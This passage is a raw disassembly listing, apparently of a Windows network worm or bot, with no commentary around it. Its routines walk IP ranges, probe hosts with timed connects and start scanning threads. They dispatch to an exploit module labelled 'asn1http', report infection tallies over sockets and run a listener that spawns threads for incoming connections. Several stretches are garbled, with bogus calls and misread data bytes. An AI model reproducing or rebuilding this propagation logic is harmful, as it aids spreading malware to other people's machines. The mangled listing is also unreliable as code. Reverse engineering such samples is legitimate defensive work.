lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset unk_422764
loc_4055D3: ; CODE XREF: sub_405290+484j
lea eax, [ebp+var_780]
push eax
call sub_411EEE
add esp, 10h
cmp [ebp+var_E0], ebx
jnz short loc_40560D
push ebx
lea eax, [ebp+var_780]
push [ebp+var_E4]
push eax
lea eax, [ebp+var_164]
push eax
push [ebp+var_37C]
call sub_40F9F1
add esp, 14h
loc_40560D: ; CODE XREF: sub_405290+358j
lea eax, [ebp+var_780]
push eax
call sub_408E17
pop ecx
jmp loc_40572F
; ---------------------------------------------------------------------------
loc_40561F: ; CODE XREF: sub_405290+2B6j
; sub_405290+2D7j
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 13h
push offset dword_422750
push edi
call dword_433B2C ; sendto
lea eax, [ebp+var_274]
push eax
lea eax, [ebp+var_58]
push eax
lea eax, [ebp+var_D8]
push offset unk_422714
push eax
call sub_411EEE
lea eax, [ebp+var_D8]
push eax
call sub_408E17
add esp, 14h
jmp loc_40572F
; ---------------------------------------------------------------------------
loc_405665: ; CODE XREF: sub_405290+275j
cmp [ebp+var_D7], 4
jnz loc_405719
mov cl, [ebp+var_D5]
mov al, [ebp+var_D6]
cmp cl, 0FFh
mov [ebp+var_580], bl
mov [ebp+var_57F], 3
jnz short loc_4056A2
inc al
xor cl, cl
mov [ebp+var_57E], al
mov [ebp+var_57D], bl
jmp short loc_4056B0
; ---------------------------------------------------------------------------
loc_4056A2: ; CODE XREF: sub_405290+3FEj
inc cl
mov [ebp+var_57E], al
mov [ebp+var_57D], cl
loc_4056B0: ; CODE XREF: sub_405290+410j
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
push ebx
shl eax, 9
sub eax, esi
push eax
push [ebp+var_8]
call sub_41380E
push [ebp+var_8]
lea eax, [ebp+var_57C]
push esi
push 1
push eax
call sub_413580
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_2C]
mov [ebp+var_C], edi
push [ebp+var_4]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_580]
push eax
push [ebp+var_10]
call dword_433B2C ; sendto
cmp edi, ebx
jnz short loc_40572F
lea eax, [ebp+var_378]
push eax
lea eax, [ebp+var_58]
push eax
push offset dword_4226C4
jmp loc_4055D3
; ---------------------------------------------------------------------------
loc_405719: ; CODE XREF: sub_405290+268j
; sub_405290+3DCj
push [ebp+var_4]
lea eax, [ebp+var_2C]
push eax
push ebx
push 9
push offset dword_4226B8
push edi
call dword_433B2C ; sendto
loc_40572F: ; CODE XREF: sub_405290+204j
; sub_405290+38Aj ...
cmp [ebp+var_C], ebx
mov edi, [ebp+var_10]
jg loc_40543B
loc_40573B: ; CODE XREF: sub_405290+1B4j
push edi
call dword_433B60 ; closesocket
push [ebp+var_8]
call sub_412540
mov esi, [ebp+arg_0]
dec [ebp+var_16C]
pop ecx
cmp [esi+2A0h], ebx
jnz short near ptr loc_40576E+1
push [ebp+var_170]
call sub_411CB6
pop ecx
push ebx
call near ptr 0AB0000h
loc_40576E: ; CODE XREF: sub_405290+4CAj
and al, 68h
call near ptr 0FF405778h
adc eax, offset dword_41D05C
push esi
loc_40577B: ; CODE XREF: sub_405290+123j
call sub_405290
pop edi
pop esi
pop ebx
leave
retn 4
sub_405290 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405787 proc near ; CODE XREF: .nsp0:0040F530p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_42298C
push eax
xor ebx, ebx
call sub_411EEE
cmp dword_422880, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_4057F5
push esi
mov esi, offset dword_422888
loc_4057BA: ; CODE XREF: sub_405787+6Bj
mov eax, [esi]
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset aSD ; " %s: %d,"
push eax
call sub_411EEE
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_4138E0
add esi, 3Ch
add esp, 1Ch
cmp dword ptr [esi-8], 0
jnz short loc_4057BA
pop esi
loc_4057F5: ; CODE XREF: sub_405787+2Bj
push dword_461F48
call sub_408886
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_411EEE
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_4138E0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
lea eax, [ebp+var_200]
push eax
call sub_408E17
add esp, 38h
pop edi
pop ebx
leave
retn
sub_405787 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405851 proc near ; CODE XREF: .nsp0:0040EEB9p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push 8
call sub_411BE2
test eax, eax
pop ecx
jle short loc_40588D
mov eax, [ebp+arg_C]
push dword_432718[eax*8]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_200]
push offset unk_4229F8
push eax
call sub_411EEE
add esp, 0Ch
jmp short loc_4058A0
; ---------------------------------------------------------------------------
loc_40588D: ; CODE XREF: sub_405851+13j
lea eax, [ebp+var_200]
push offset unk_4229C4
push eax
call sub_411EEE
pop ecx
pop ecx
loc_4058A0: ; CODE XREF: sub_405851+3Aj
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40F9F1
lea eax, [ebp+var_200]
push eax
call sub_408E17
add esp, 18h
leave
retn
sub_405851 endp
; ---------------------------------------------------------------------------
loc_4058C8: ; CODE XREF: sub_405FF1+4Fp
push ebp
mov ebp, esp
sub esp, 204h
mov eax, [ebp+138h]
push ebx
cmp eax, 0FFFFFFFFh
push esi
jz loc_405C58
imul eax, 3Ch
xor ebx, ebx
cmp dword_42288C[eax], ebx
jz loc_405B39
push 4
call sub_411BE2
test eax, eax
pop ecx
jnz loc_405C58
mov eax, dword_425B58
push edi
mov edi, offset dword_433094
push 104h
push edi
push ebx
mov dword_4332A4, eax
mov dword_4332A0, ebx
call near ptr 0AB0000h
xchg eax, ebp
push 103h
mov esi, offset dword_433198
push offset byte_425BC0
push esi
call sub_413710
mov eax, [ebp+118h]
add esp, 0Ch
cmp [ebp+98h], bl
mov dword_433090, eax
mov eax, [ebp+140h]
push 7Fh
mov dword_433328, eax
jnz short loc_40597B
lea eax, [ebp+18h]
push eax
push offset dword_4332A8
call sub_413710
add esp, 0Ch
mov dword_43332C, 1
jmp short loc_405995
; ---------------------------------------------------------------------------
loc_40597B: ; CODE XREF: .nsp0:0040595Cj
lea eax, [ebp+98h]
push eax
push offset dword_4332A8
call sub_413710
add esp, 0Ch
mov dword_43332C, ebx
loc_405995: ; CODE XREF: .nsp0:00405979j
push esi
push edi
push dword_4332A4
lea eax, [ebp-204h]
push offset unk_422BA4
push eax
call sub_411EEE
push ebx
lea eax, [ebp-204h]
push 4
push eax
call sub_41199A
add esp, 20h
mov dword_43329C, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_433090
push offset sub_405290
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, dword_43329C
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_405A04
loc_4059F2: ; CODE XREF: .nsp0:00405A02j
cmp dword_433330, ebx
jnz short loc_405A1F
push 32h
call dword_41D05C ; Sleep
jmp short loc_4059F2
; ---------------------------------------------------------------------------
loc_405A04: ; CODE XREF: .nsp0:004059F0j
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp-204h]
push offset unk_422B5C
push eax
call sub_411EEE
add esp, 0Ch
loc_405A1F: ; CODE XREF: .nsp0:004059F8j
lea eax, [ebp-204h]
push eax
call sub_408E17
mov edi, offset dword_4336EC
mov dword ptr [esp], 104h
push edi
push ebx
mov dword_4338F8, ebx
call near ptr 0AB0000h
js short loc_405AAE
add eax, [ecx]
; ---------------------------------------------------------------------------
dd 0F0BE0000h, 68004337h, 425BC0h, 0DCB6E856h, 858B0000h
dd 118h, 380CC483h, 989Dh, 36E8A300h, 858B0043h, 140h
dd 80A37F6Ah, 75004339h, 18458D1Dh, 39006850h, 85E80043h
dd 830000DCh, 5C70CC4h, 433984h, 1, 858D1AEBh, 98h, 39006850h
dd 65E80043h, 830000DCh
db 0C4h, 0Ch
; ---------------------------------------------------------------------------
loc_405AAE: ; CODE XREF: .nsp0:00405A44j
mov dword_433984, ebx
push esi
push edi
push dword_4338FC
lea eax, [ebp-204h]
push offset dword_422B08
push eax
call sub_411EEE
push ebx
lea eax, [ebp-204h]
push 5
push eax
call sub_41199A
add esp, 20h
mov dword_4338F4, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_4336E8
push offset sub_403A5B
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, dword_4338F4
pop edi
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_405B28
loc_405B12: ; CODE XREF: .nsp0:00405B26j
cmp dword_433988, ebx
jnz loc_405C4B
push 32h
call dword_41D05C ; Sleep
jmp short loc_405B12
; ---------------------------------------------------------------------------
loc_405B28: ; CODE XREF: .nsp0:00405B10j
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset dword_422AC4
jmp loc_405C3C
; ---------------------------------------------------------------------------
loc_405B39: ; CODE XREF: .nsp0:004058EDj
cmp dword_422890[eax], ebx
jz loc_405C58
push 3
call sub_411BE2
test eax, eax
pop ecx
jnz loc_405C58
mov esi, offset dword_4335C4
push 104h
push esi
push ebx
call near ptr 0AB0000h
jbe short near ptr loc_405BCF+3
pop esp
push esi
call sub_413A10
pop ecx
cmp eax, ebx
pop ecx
jz short loc_405B77
mov [eax], bl
loc_405B77: ; CODE XREF: .nsp0:00405B73j
mov eax, dword_425B5C
mov dword_4336DC, ebx
mov dword_4336C8, eax
lea eax, [ebp+18h]
push eax
push offset dword_43333C
call sub_411EEE
mov eax, [ebp+118h]
pop ecx
pop ecx
mov dword_433338, eax
mov ecx, [ebp+140h]
push esi
push dword_4336C8
mov dword_4336D4, ecx
mov ecx, [ebp+144h]
push eax
mov dword_4336D8, ecx
call sub_408045
pop ecx
push eax
lea eax, [ebp-204h]
loc_405BCF: ; CODE XREF: .nsp0:00405B66j
push offset unk_422A74
push eax
call sub_411EEE
push ebx
lea eax, [ebp-204h]
push 3
push eax
call sub_41199A
add esp, 20h
mov dword_4336D0, eax
lea eax, [ebp-4]
push eax
push ebx
push offset dword_433338
push offset sub_404175
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, dword_4336D0
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_405C30
loc_405C1E: ; CODE XREF: .nsp0:00405C2Ej
cmp dword_4336E4, ebx
jnz short loc_405C4B
push 32h
call dword_41D05C ; Sleep
jmp short loc_405C1E
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: .nsp0:00405C1Cj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_422A2C
loc_405C3C: ; CODE XREF: .nsp0:00405B34j
lea eax, [ebp-204h]
push eax
call sub_411EEE
add esp, 0Ch
loc_405C4B: ; CODE XREF: .nsp0:00405B18j
; .nsp0:00405C24j
lea eax, [ebp-204h]
push eax
call sub_408E17
pop ecx
loc_405C58: ; CODE XREF: .nsp0:004058DCj
; .nsp0:004058FDj ...
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C5C proc near ; CODE XREF: sub_405DDD:loc_405E4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
push 4
lea esi, ds:432718h[eax*8]
lea eax, [ebp+arg_0]
push esi
push eax
call sub_411FD0
add esp, 0Ch
push [ebp+arg_0]
call dword_4339FC ; ntohl
inc eax
push eax
mov [ebp+arg_0], eax
call dword_433AC4 ; ntohl
mov [ebp+arg_0], eax
lea eax, [ebp+arg_0]
push 4
push eax
push esi
call sub_411FD0
mov eax, [esi]
add esp, 0Ch
pop esi
pop ebp
retn
sub_405C5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405CA4 proc near ; CODE XREF: sub_405DDD+69p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
or esi, 0FFFFFFFFh
push [ebp+arg_0]
mov [ebp+var_C], esi
mov [ebp+var_8], esi
mov [ebp+var_4], esi
mov [ebp+var_10], esi
call sub_4126F0
cmp eax, 0Fh
pop ecx
jbe short loc_405CCC
xor eax, eax
jmp short loc_405D3D
; ---------------------------------------------------------------------------
loc_405CCC: ; CODE XREF: sub_405CA4+22j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_C]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+arg_0]
call sub_413470
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_405CF9
call sub_411F4A
mov [ebp+var_C], eax
loc_405CF9: ; CODE XREF: sub_405CA4+4Bj
cmp [ebp+var_8], esi
jnz short loc_405D06
call sub_411F4A
mov [ebp+var_8], eax
loc_405D06: ; CODE XREF: sub_405CA4+58j
cmp [ebp+var_4], esi
jnz short loc_405D13
call sub_411F4A
mov [ebp+var_4], eax
loc_405D13: ; CODE XREF: sub_405CA4+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_405D1F
call sub_411F4A
loc_405D1F: ; CODE XREF: sub_405CA4+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_432718[ecx*8], eax
loc_405D3D: ; CODE XREF: sub_405CA4+26j
pop esi
leave
retn
sub_405CA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405D40 proc near ; CODE XREF: sub_405DDD+B8p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_433B48 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_405D69
xor eax, eax
jmp short loc_405DD8
; ---------------------------------------------------------------------------
loc_405D69: ; CODE XREF: sub_405D40+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_433AC8 ; ntohs
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_433B64 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_433A70 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_433AB0 ; select
push esi
mov edi, eax
call dword_433B60 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_405DD8: ; CODE XREF: sub_405D40+27j
pop edi
pop esi
pop ebx
leave
retn
sub_405D40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405DDD proc near ; DATA XREF: sub_405FF1+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call dword_41D048 ; GetTickCount
push eax
call sub_411F40
mov ebx, esi
pop ecx
imul ebx, 234h
loc_405E24: ; CODE XREF: sub_405DDD+200j
mov eax, dword_438C5C[ebx]
cmp dword_43271C[eax*8], 0
jz loc_405FE2
cmp [ebp+var_10], 0
push eax
jz short loc_405E4E
lea eax, [ebp+var_150]
push eax
call sub_405CA4
pop ecx
jmp short loc_405E53
; ---------------------------------------------------------------------------
loc_405E4E: ; CODE XREF: sub_405DDD+60j
call sub_405C5C
loc_405E53: ; CODE XREF: sub_405DDD+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_438C5C[ebx]
push [ebp+var_3C]
push edi
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_422C40
push eax
call sub_411EEE
lea eax, [ebp+var_28C]
push eax
lea eax, dword_438A58[ebx]
push eax
call sub_411EEE
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_405D40
add esp, 2Ch
cmp eax, 1
jnz loc_405FD2
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_405F27
push offset dword_433078
call dword_41D0A4 ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset unk_422C04
push eax
call sub_411EEE
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_405F09
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_405EFD
lea eax, [ebp+var_140]
loc_405EFD: ; CODE XREF: sub_405DDD+118j
push eax
push [ebp+var_40]
call sub_40F9F1
add esp, 14h
loc_405F09: ; CODE XREF: sub_405DDD+FDj
lea eax, [ebp+var_28C]
push eax
call sub_408E17
mov [esp+2A8h+var_2A8], offset dword_433078
call dword_41D0A0 ; RtlLeaveCriticalSection
jmp loc_405FD2
; ---------------------------------------------------------------------------
loc_405F27: ; CODE XREF: sub_405DDD+CDj
push edi
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_411EEE
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aAsn1http_0 ; "asn1http"
push eax
lea eax, [ebp+var_178]
push eax
call sub_411EEE
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_405F6B
lea eax, [ebp+var_140]
loc_405F6B: ; CODE XREF: sub_405DDD+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_411EEE
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_422884[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_405FD2: ; CODE XREF: sub_405DDD+C3j
; sub_405DDD+145j
push 7D0h
call dword_41D05C ; Sleep
jmp loc_405E24
; ---------------------------------------------------------------------------
loc_405FE2: ; CODE XREF: sub_405DDD+55j
push esi
call sub_411CB6
pop ecx
push 0
call near ptr 0AB0000h
stosb
sub_405DDD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405FF1 proc near ; DATA XREF: .nsp0:0040D0F4o
; .nsp0:0040EB09o
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_433B08 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_432718[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call loc_4058C8
push 8
call sub_411BE2
add esp, 150h
cmp eax, ebx
jnz short loc_4060BF
mov esi, offset dword_433078
push esi
call dword_41D0AC ; RtlDeleteCriticalSection
push 80000400h
push esi
call dword_41D0A8 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_4060BF
lea eax, [ebp+var_1CC]
push offset unk_422D84
push eax
call sub_411EEE
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_4060A9
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40F9F1
add esp, 14h
loc_4060A9: ; CODE XREF: sub_405FF1+99j
lea eax, [ebp+var_1CC]
push eax
call sub_408E17
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_4060BF: ; CODE XREF: sub_405FF1+63j
; sub_405FF1+7Fj
mov eax, [ebp+var_2C]
mov esi, dword_41D05C
mov edi, ebx
mov dword_43271C[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40618C
loc_4060DD: ; CODE XREF: sub_405FF1+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset unk_422D38
push eax
call sub_411EEE
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_41199A
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_438C5C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_405DDD
push ebx
push ebx
call dword_41D070 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_438C6C[ecx], eax
jz short loc_406157
loc_40614C: ; CODE XREF: sub_405FF1+164j
cmp [ebp+var_4], ebx
jnz short loc_40617E
push 1Eh
call esi ; dword_41D05C
jmp short loc_40614C
; ---------------------------------------------------------------------------
loc_406157: ; CODE XREF: sub_405FF1+159j
call dword_41D06C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_1CC]
push offset unk_422CE8
push eax
call sub_411EEE
lea eax, [ebp+var_1CC]
push eax
call sub_408E17
add esp, 10h
loc_40617E: ; CODE XREF: sub_405FF1+15Ej
push 1Eh
call esi ; dword_41D05C
inc edi
cmp edi, [ebp+var_20]
jbe loc_4060DD
loc_40618C: ; CODE XREF: sub_405FF1+E6j
cmp [ebp+var_30], ebx
jz near ptr loc_406235+1
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; dword_41D05C
loc_4061A1: ; CODE XREF: sub_405FF1+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_432718[eax*8]
push eax
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset unk_422C90 ; CODE XREF: sub_405FF1:loc_406235j
push eax
call sub_411EEE
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_4061EF
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40F9F1
add esp, 14h
loc_4061EF: ; CODE XREF: sub_405FF1+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_408E17
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_43271C[eax*8], ebx
call esi ; dword_41D05C
push 8
call sub_411BE2
cmp eax, 1
pop ecx
jnz short loc_406226
push offset dword_433078
call dword_41D0AC ; RtlDeleteCriticalSection
loc_406226: ; CODE XREF: sub_405FF1+228j
push [ebp+var_2C]
call sub_411CB6
pop ecx
push ebx
call near ptr 0AB0000h
loc_406235: ; CODE XREF: sub_405FF1+19Ej
; sub_405FF1+25Dj
jo short near ptr loc_4061BF+3
inc ebp
aam 83h
cmp al, 0C5h
sbb al, 27h
inc ebx
add [ecx], al
jnz loc_4061A1
push 7D0h
call esi ; dword_41D05C
jmp short near ptr loc_406235+1
sub_405FF1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406250 proc near ; DATA XREF: .nsp0:0040D4CBo
var_34C = byte ptr -34Ch
var_14C = byte ptr -14Ch
var_148 = dword ptr -148h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = byte ptr -14h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
rep movsd
push 1
xor esi, esi
pop edi
push 10h
mov [eax+120h], edi
pop ebx
lea eax, [ebp+var_10]
push ebx
push esi
push eax
call sub_411F70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_40]
call dword_433AC8 ; ntohs
push 6
push edi
push 2
mov [ebp+var_E], ax
mov [ebp+var_C], esi
mov [ebp+arg_0], ebx
call dword_433B48 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz loc_4063B4
mov eax, [ebp+var_3C]
push edi
imul eax, 234h
push 401h
push esi
push ebx
mov dword_438C64[eax], ebx
call dword_4339E4 ; WSAAsyncSelect
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_433AF4 ; bind
test eax, eax
jnz loc_4063B4
push 0Ah
push ebx
call dword_433AF0 ; listen
test eax, eax
jnz loc_4063B4
loc_4062FA: ; CODE XREF: sub_406250+BEj
; sub_406250+13Fj
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_24]
push eax
push ebx
call dword_433B5C ; accept
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_4062FA
movzx eax, [ebp+var_22]
push [ebp+var_3C]
mov [ebp+var_148], edi
mov [ebp+var_2C], esi
push eax
push [ebp+var_20]
call dword_433B54 ; inet_ntoa
push eax
lea eax, [ebp+var_34C]
push offset unk_422E20
push eax
call sub_411EEE
push edi
lea eax, [ebp+var_34C]
push 10h
push eax
call sub_41199A
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_438C5C[eax], ecx
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_14C]
push esi
push eax
push offset loc_4063D8
push esi
push esi
call dword_41D070 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_438C6C[ecx], eax
jz short loc_40639F
loc_40638C: ; CODE XREF: sub_406250+14Dj
cmp [ebp+var_2C], esi
jnz loc_4062FA
push 32h
call dword_41D05C ; Sleep
jmp short loc_40638C
; ---------------------------------------------------------------------------
loc_40639F: ; CODE XREF: sub_406250+13Aj
call dword_41D06C ; RtlGetLastWin32Error
push eax
push offset unk_422DD0
call sub_408E8B
pop ecx
pop ecx
jmp short loc_4063B7
; ---------------------------------------------------------------------------
loc_4063B4: ; CODE XREF: sub_406250+61j
; sub_406250+93j ...
mov edi, [ebp+arg_0]
loc_4063B7: ; CODE XREF: sub_406250+162j
push edi
call dword_433B60 ; closesocket
push ebx
call dword_433B60 ; closesocket
push [ebp+var_3C]
call sub_411CB6
pop ecx
push esi
call near ptr 0AB0000h
push edi
pop edi
pop esi
pop ebx
sub_406250 endp ; sp-analysis failed
loc_4063D8: ; DATA XREF: sub_406250+11Co
push ebp
mov ebp, esp
mov eax, 1344h
call sub_412770
mov eax, [ebp+8]
push ebx
push esi
push edi
push 4Ah
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
mov ebx, [ebp-30h]
push 1
pop ecx
mov [ebp-4], ebx
push 6
push ecx
push 2
